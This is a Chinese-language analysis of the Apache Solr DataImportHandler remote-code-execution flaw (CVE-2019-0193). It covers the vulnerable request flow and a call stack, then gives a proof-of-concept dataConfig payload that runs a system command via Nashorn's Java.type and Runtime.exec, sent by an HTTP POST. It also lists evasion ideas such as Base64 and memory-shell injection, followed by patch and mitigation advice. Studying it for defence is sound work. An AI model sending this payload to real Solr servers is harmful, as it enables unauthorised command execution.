CVE-2019-0193 Apache Solr远程命令执行漏洞分析
字数 1935 2025-08-27 12:33:43

Apache Solr远程命令执行漏洞(CVE-2019-0193)深入分析与利用指南

1. 漏洞概述

Apache Solr存在一个远程代码执行漏洞(CVE-2019-0193),攻击者可以利用dataConfig参数构造恶意请求,导致执行任意代码。该漏洞源于Solr的DataImportHandler功能,特别是其ScriptTransformer组件对用户输入的不当处理。

2. 前置知识

2.1 DataImportHandler功能

DataImportHandler(DIH)是Solr用于从数据库或其他数据源导入数据的组件,支持通过XML配置文件定义数据导入规则:

  • 支持从数据库、XML、HTTP等数据源导入
  • 支持数据转换(Transformers)
  • 配置文件语法参考:

2.2 ScriptTransformer组件

ScriptTransformer允许使用脚本语言转换数据:

  • 支持语言:JavaScript、JRuby、Jython、Groovy和BeanShell
  • 脚本应写在数据仓库配置文件顶级的<script>元素内
  • 转换器属性值为script:函数名

示例配置

<dataConfig>
  <script><![CDATA[
    function f2c(row) {
      var tempf, tempc;
      tempf = row.get('temp_f');
      if (tempf != null) {
        tempc = (tempf - 32.0)*5.0/9.0;
        row.put('temp_c', temp_c);
      }
      return row;
    }
  ]]></script>
  <document>
    <entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
    </entity>
  </document>
</dataConfig>

2.3 Nashorn引擎

Solr使用Nashorn引擎解析JavaScript脚本:

  • Nashorn是Java 8中的JavaScript引擎,取代了Rhino
  • 可以通过Java.typeAPI在JavaScript中引用Java类
  • 示例:
var MyJavaClass = Java.type('my.package.MyJavaClass');
var result = MyJavaClass.sayHello("Nashorn");
print(result);

3. 漏洞详细分析

3.1 请求处理流程

  1. 初始处理

    • 请求进入dataimport/DataImportHandlerhandleRequestBody方法
    • 当command为full-import时,通过maybeReloadConfiguration重新加载配置
  2. 配置加载

    • maybeReloadConfiguration通过params.getDataConfig()检查post的dataConfig数据
    • 非空时通过loadDataConfig加载配置
    • readFromXml方法解析配置中的各个标签(document, script, function, dataSource等)
    • 自定义脚本存入script变量,构建DIHConfiguration对象
  3. 导入执行

    • 通过this.importer.runCmd()处理导入过程
    • doFullImport创建DocBuilder对象解析config结构
    • 最终得到EntityProcessorWrapper对象

3.2 漏洞触发点

  1. ScriptTransformer处理

    • 当entity中含有Transformers时,会进行相应转换操作
    • ScriptTransformer允许执行用户自定义脚本
    • 恶意脚本通过<script>标签注入
  2. 脚本执行机制

    • 通过EntityProcessorWrapper.nextRow调用
    • applyTransformer()执行转换,调用相应Transformer的transformRow方法
    • 根据指定语言初始化解析引擎(如Nashorn)
  3. 命令执行

    • Nashorn引擎允许通过Java.type引用任意Java类
    • 攻击者可利用此功能导入并执行危险类(如java.lang.Runtime)

3.3 调用栈

DataImportHandler.handleRequestBody()
-> DataImporter.maybeReloadConfiguration()
   -> DataImporter.loadDataConfig()
      -> DIHConfiguration.readFromXml()
-> DataImporter.runCmd()
   -> DataImporter.doFullImport()
      -> DocBuilder.execute()
         -> EntityProcessorWrapper.nextRow()
            -> EntityProcessorWrapper.applyTransformer()
               -> ScriptTransformer.transformRow()
                  -> Nashorn引擎执行恶意脚本

4. 漏洞利用

4.1 利用条件

  • Solr启用了DataImportHandler功能
  • 攻击者能够向DataImportHandler接口发送请求

4.2 利用方式

构造恶意dataConfig请求,示例PoC:

<dataConfig>
  <script><![CDATA[
    function poc(row) {
      var Runtime = Java.type("java.lang.Runtime");
      var Process = Runtime.getRuntime().exec("touch /tmp/poc");
      return row;
    }
  ]]></script>
  <document>
    <entity name="entity1" transformer="script:poc" query="SELECT * FROM X">
    </entity>
  </document>
</dataConfig>

通过HTTP请求发送:

POST /solr/corename/dataimport HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

command=full-import&dataConfig=...上面恶意XML...

4.3 利用增强

  • 使用Base64编码绕过简单过滤
  • 多语言利用(除JavaScript外,还可尝试JRuby、Jython等)
  • 内存马注入

5. 修复方案

5.1 官方修复

升级到Solr安全版本:

  • Solr 8.1.1
  • Solr 7.7.2
  • Solr 6.6.5

5.2 临时缓解措施

注意:仅清空index core的配置文件不能缓解漏洞,必须:

  1. 注释solrconfig.xml中所有dataimport requestHandler配置:
<!--
<requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
  <lst name="defaults">
    <str name="config">data-config.xml</str>
  </lst>
</requestHandler>
-->
  1. 重启Solr服务器

5.3 防护建议

  • 禁用不必要的DataImportHandler功能
  • 实施网络访问控制,限制Solr管理接口访问
  • 监控可疑的dataimport请求

6. 参考资源

Apache Solr远程命令执行漏洞(CVE-2019-0193)深入分析与利用指南 1. 漏洞概述 Apache Solr存在一个远程代码执行漏洞(CVE-2019-0193),攻击者可以利用dataConfig参数构造恶意请求,导致执行任意代码。该漏洞源于Solr的DataImportHandler功能,特别是其ScriptTransformer组件对用户输入的不当处理。 2. 前置知识 2.1 DataImportHandler功能 DataImportHandler(DIH)是Solr用于从数据库或其他数据源导入数据的组件,支持通过XML配置文件定义数据导入规则: 支持从数据库、XML、HTTP等数据源导入 支持数据转换(Transformers) 配置文件语法参考: 官方指南 详细文档 2.2 ScriptTransformer组件 ScriptTransformer允许使用脚本语言转换数据: 支持语言:JavaScript、JRuby、Jython、Groovy和BeanShell 脚本应写在数据仓库配置文件顶级的 <script> 元素内 转换器属性值为 script:函数名 示例配置 : 2.3 Nashorn引擎 Solr使用Nashorn引擎解析JavaScript脚本: Nashorn是Java 8中的JavaScript引擎,取代了Rhino 可以通过 Java.type API在JavaScript中引用Java类 示例: 3. 漏洞详细分析 3.1 请求处理流程 初始处理 : 请求进入 dataimport/DataImportHandler 的 handleRequestBody 方法 当command为 full-import 时,通过 maybeReloadConfiguration 重新加载配置 配置加载 : maybeReloadConfiguration 通过 params.getDataConfig() 检查post的dataConfig数据 非空时通过 loadDataConfig 加载配置 readFromXml 方法解析配置中的各个标签(document, script, function, dataSource等) 自定义脚本存入script变量,构建 DIHConfiguration 对象 导入执行 : 通过 this.importer.runCmd() 处理导入过程 doFullImport 创建 DocBuilder 对象解析config结构 最终得到 EntityProcessorWrapper 对象 3.2 漏洞触发点 ScriptTransformer处理 : 当entity中含有Transformers时,会进行相应转换操作 ScriptTransformer 允许执行用户自定义脚本 恶意脚本通过 <script> 标签注入 脚本执行机制 : 通过 EntityProcessorWrapper.nextRow 调用 applyTransformer() 执行转换,调用相应Transformer的 transformRow 方法 根据指定语言初始化解析引擎(如Nashorn) 命令执行 : Nashorn引擎允许通过 Java.type 引用任意Java类 攻击者可利用此功能导入并执行危险类(如 java.lang.Runtime ) 3.3 调用栈 4. 漏洞利用 4.1 利用条件 Solr启用了DataImportHandler功能 攻击者能够向DataImportHandler接口发送请求 4.2 利用方式 构造恶意dataConfig请求,示例PoC: 通过HTTP请求发送: 4.3 利用增强 使用Base64编码绕过简单过滤 多语言利用(除JavaScript外,还可尝试JRuby、Jython等) 内存马注入 5. 修复方案 5.1 官方修复 升级到Solr安全版本: Solr 8.1.1 Solr 7.7.2 Solr 6.6.5 5.2 临时缓解措施 注意 :仅清空index core的配置文件不能缓解漏洞,必须: 注释solrconfig.xml中所有dataimport requestHandler配置: 重启Solr服务器 5.3 防护建议 禁用不必要的DataImportHandler功能 实施网络访问控制,限制Solr管理接口访问 监控可疑的dataimport请求 6. 参考资源 官方通告: SOLR-13669 DataImportHandler文档: 官方指南 Nashorn引擎文档: Oracle文档